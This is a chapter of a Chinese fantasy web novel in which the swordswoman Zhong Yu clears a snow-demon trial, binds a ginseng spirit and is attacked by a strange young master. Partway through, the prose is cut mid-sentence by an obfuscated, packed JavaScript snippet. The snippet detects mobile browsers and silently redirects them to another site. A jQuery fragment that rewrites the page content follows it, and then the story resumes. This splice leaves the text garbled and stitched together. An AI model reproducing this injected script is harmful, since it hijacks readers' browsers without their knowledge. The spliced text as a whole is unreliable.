正如她所预料的那般,这只雪妖其实听得懂人语,它迟疑着没有动作,钟玙甚至能感受到它在她身上流连打量的目光。
漫天的雪花飞舞,一切仿佛都失去了声音,连风声也被凐灭。天色暗淡无光,气温仍然在持续下降。他们一同看了看不远处的中心地带,雪沙旋转着飘起,模糊了视线,一场暴风雪在所难免。
季明知试图交涉,他的声音在空旷的雪地里变得如烟尘缥缈:“恕我直言,阁下应该也知道这里并不是真实的世间。您在这里可以行动自然,甚至控制天气变化,可事实上的雪妖一族却已经消失二百余年了。如果还有什么放不下的执念,或许我们可以帮你。”
钟玙以为它会像之前一样暴跳如雷,那雪妖却还是没有出声。
它竟然都知道。
它知道自己的死亡,也知道自己不过是一缕妖魄被强留于此处。
天气越来越冷了,连呼出的白气也瞬间凝成了冰。小雪妖的声音像玉石相撞发出的清脆声音,它每叫唤一声,雪妖的身躯就佝偻一分。从远处看来,好似一座山慢慢从内里塌陷下去,
终于,它头也不回地转身,慢慢踱步到一旁。那是一座天池,天池的水映出昏昏沉沉的天象。它忍痛剥离自己身上一片片岩皮,丢入池水中。
钟玙和季明知在池水上方可以清楚地看到,在水面的下面,五六只如同钟玙身前一样雪白的石头们依偎在一起,好似睡着了。而那些岩皮在水下组成严丝合缝的护甲,又将水面与底部彻底隔开。
小雪妖像受到什么召唤,义无反顾地从钟玙的剑上跳了下去,也消失在水中。
雪妖身上只剩下一片岩皮,钟玙不忍心,给它渡了些灵力抵御严寒。
“没用的,万恶的人族。”雪妖发出低沉的声音。
“你会说话?你是守楼人吗?”
“答应救吾儿,否则死。”明明是威胁的声音,钟玙却听出它的平静,似乎笃定她一定会答应它。
但季明知前跨一步,应下道:“我答应你。”
钟玙愕然道:“季明知!”
“以吾之名,遵汝之意。若违誓言,百死不贷。”季明知以血画下誓言咒。
这是一个非常歹毒的咒语,说它歹毒是因为被施咒者正是施咒者本人,若违背誓言,将神魂寂灭。这誓言咒伤敌不行自损无敌,因此少有人用。
野史中记载,曾经有个作恶多端的魔物爱上了道行高深莫测的清鹇师祖,学人族符咒以表明真心。后来也常常被痴情男女用于传达心意,不过真心易得也易变,渐渐被束之高阁,成为清鹇派的禁术。
“万恶的人族……”雪妖用妖语叽哩咕噜在说些什么,大抵是不甘与憎恨,钟玙和季明知听不清楚,更不明白。
黄金楼的齿轮又开始转动,天空被踩在脚下,雪花向上飞舞,天池的水向外喷涌。钟玙最后看了一眼颠倒的世界,心里莫名觉得熟悉,但很快,黑暗将二人覆没。
两人消失后,一个曼妙的身影出现在雪妖身侧。
“阿暖,你就这么相信他们?”她指尖轻点,规律地敲击着雪妖最后那块岩皮,声音里满是嘲讽。
雪妖身上很快又长满了岩皮,它一声不吭,仿佛是一座真正的雪山。
“你们雪妖一族最古老最珍贵的祝福轻易送给素未相识的陌生人,你不怕他们害你?”
沉默的雪妖低头瞧她,金光刺痛了它的眼睛,像是很多年前,它看见的最后一次落日一样明亮眩目:“我已经死了很久了,况且,她也不是陌生人。”
“哦?那是什么人?”
雪妖默了半晌,反问道:“难道不是被你看中的人吗?”
-
这又是个什么鬼地方,钟玙半敛眼皮,没耐性地想。
自雪妖那层后,她便和季明知走散,在黄金楼独自闯荡。黄金楼内幻境丛生,她早就记不清过了多久,更不知道这是第几层楼。
但她现下很是狼狈,刚刚还在挖自己奶奶的坟,一双通红的眼睛,带着一身泥土和纸钱,像刚从坟里爬出来就摔到了这里。
她抬起头,眼眶里有浅浅的泪光,不愿落下。
迅速调整情绪后,她观察到这层布局摆设看起来倒是像某个富贵人家的小阁中,古色古香的布置,青绿的藤蔓绕着木窗蜿蜒而上。一株红果黄花的植株朝钟玙探出一个小尖头,生机勃勃地自由舒展。
钟玙斜睨着窗沿,忽地伸出二指掐住它的嫩叶。那叶子竟然发出嘤嘤嘤的哭声,钟玙把它拔出来,不太温柔地甩到地上。
原来是颗人参精。
她屈膝半蹲,一把剑插在它身侧,阴恻恻地问道:“这是第几层?”
人参精还在嘤嘤嘤道:“我不造啊…”
钟玙指骨微微用力,道:“不知道?”
“嘤嘤嘤人家真的不知道,人家也是被抓来的嘤嘤嘤。”人参精哭得很凄惨。
钟玙揪下它一小节须根,也不嫌弃,直接放到嘴里嚼了嚼,不忘评价道:“千年人参?”
人参精哭得更凶了,呜咽地求饶道:“还差一年,不好吃的。”
自己长得有那么凶吗?
钟玙自我感觉这张脸还是很有迷惑性的,譬如她去外面蹭吃蹭喝的时候从不吃亏,除了掌门那个老登不上当。
他以前总说她的天资太过平庸,剑气太过锐利,做事太过执着,性格冥顽不灵。
周逢川真的很不喜欢自己,但钟玙认为这是他的问题。他似乎对自己有偏见,像一座大山难以撼动半分,冥顽不灵。
钟玙把它提溜到面前,简单展示了一下诛心的剑气,就开始画大饼:“我带你闯出去,你给我做十年奶妈。”
人参精揉了揉叶子,道:“奶妈?”
钟玙直白道:“就是保我不死。”
人参精贼得很,身体比它的意识更快反应过来,弱弱道:“我在这吃喝不愁,为什么要跟你走……一年行不行。”
钟玙看了一眼它残破的主根,眼神中稳操胜券的意味明显:“讨价还价?”
人参精小心地蜷起自己的根须藏在身后,更小声道:“三年。”
钟玙不知从哪里掏出一张符纸,贴在它的头上,按了按它的小叶子道:“成交。”
人参精噗哧一下变成个布挂件,被钟玙拴在腰间。它不安地扭动毛线枝叶,总感觉自己像是被骗了。
钟玙摁住它的布身子,总算说了句好话:“我向来一言九鼎,你乖乖等着便是。”
人参精那瞬间有些清醒,我终于从一个普信男魔爪里逃到了另一个普信女手心吗?
她话音刚落,一个声音突然闯进空荡的屋里:“小翠,你可醒了。”
钟玙冷眼甩过去,心想,小翠又是哪门子妖魔鬼怪。
人参精
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405653|168761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到声音立即安静得不敢出声,做工复杂精美厚实的门被人粗暴地推开,一个男人出现在门口。
他自带光环,像行走的太阳,走哪都发着光,钟玙还是第一次见到长相这样完美的人。
——光环,是物理意义上的光环;完美,也是物理意义上的完美。
仿佛天道专门为他打着一道光,照得他白得发亮;眼睛深邃又清澈,几乎占了半张脸的大小;鼻子高挺笔直,面部线条明显;身材按照完美比例分割为两部分,单薄的上衣之下,腹部被均匀地分成十六块凸起的肌肉。最遮挡不住的还是他那两腿之间,一个巨大的东西若隐若现。此时此刻,他薄唇微微上翘,散发出“女人为我折服吧”的气息。
看得钟玙毛骨悚然,如同某个不太正常的二次元人物活生生地从漫画里走了出来,美则美矣,但着实不像个正常人。
然而男人丝毫不觉,他自信地扬头,捋捋自己鬓角,浑身写满了“快夸我”几个大字,用气泡音低声道:“小翠,你真美。”
不可能是我吧?满身泥巴的钟玙自我怀疑了一秒,随后担忧地看着对方。他这副斗鸡眼的样子,莫不是个智障吧?
然而那男人却不鄙弃地握起她的手,继续深情陌陌道:“小翠,你的眼睛告诉我,你在担心我。傻女人,你怎么能这么傻,为了我竟然掉进了山崖,你放心,从你救下我那一刻起,我就发誓一定会让你成为这世上最幸福快乐的女孩。”
这么恶心的台词究竟是用哪个器官想出来的?
钟玙抽出手,使劲在满是泥垢的身上擦了擦。眼前这个衣冠楚楚的男人是如何做到即脏又腻,仿佛怎么揩都揩不干净。
她终于开口“礼貌问候”道:“你是人吗?”
男人看起来更高兴了,他挑起一边唇角,歪嘴笑道:“小翠是想说我俊美不似凡间人吗?”
如果不是什么特殊疾病患者,那他一定是在挑衅激怒自己。钟玙眉眼中已经透露星星点点的杀机,道:“你之前有没有什么病史啊?”
他娇羞地应道:“相思病?”
看起来是沟通不了一点了。
钟玙直接把剑架在他的脖子上,男人的眼神立马变得幽森,他森然一笑,露出一排整齐的白牙,眼睛眨都不眨道:“小翠为何不听话呢?”
他反手锁住钟玙的喉咙,不顾被剑划破血淋淋的伤口,不断逼迫靠近问道:“小翠看出少爷我今天有哪里不同吗?”
他眼神空洞无物,甚至连眨眼的动作都没有,看着实在可怖。钟玙呼吸困难憋红了脸,伸出一拳捶在他脸上,才挣脱出来。她一字一句铿锵道:“老子姓钟名玙,去你爹的小翠!”
“我的脸!”男人惊呼一声,从眉骨摸到歪了的鼻子,松了口气,随即面露凶相,一掌将钟玙砸进木门里。他将歪的鼻子硬生生将其恢复原位,然后才走到钟玙面前,如同催眠一般低低道,“欢迎来到我的世界,小翠,你是暗恋公子我许久的丫鬟,当年我买下卖身葬父的你,你仰慕我多年,如今终于得偿所愿,为何忽然闹脾气?”
钟玙后脑勺连带着尾椎骨都剧痛无比,好在她常常被安师姐拉去和体修一起修炼,否则以她凡人之躯,定要头破血流而亡。
男人低头,拿着诛心的手微微用力,诛心发出轻微的剑鸣声。钟玙突然双眼无神地抬起头,一句话像是从嘴缝中无意飘了出来:“公子世无双。”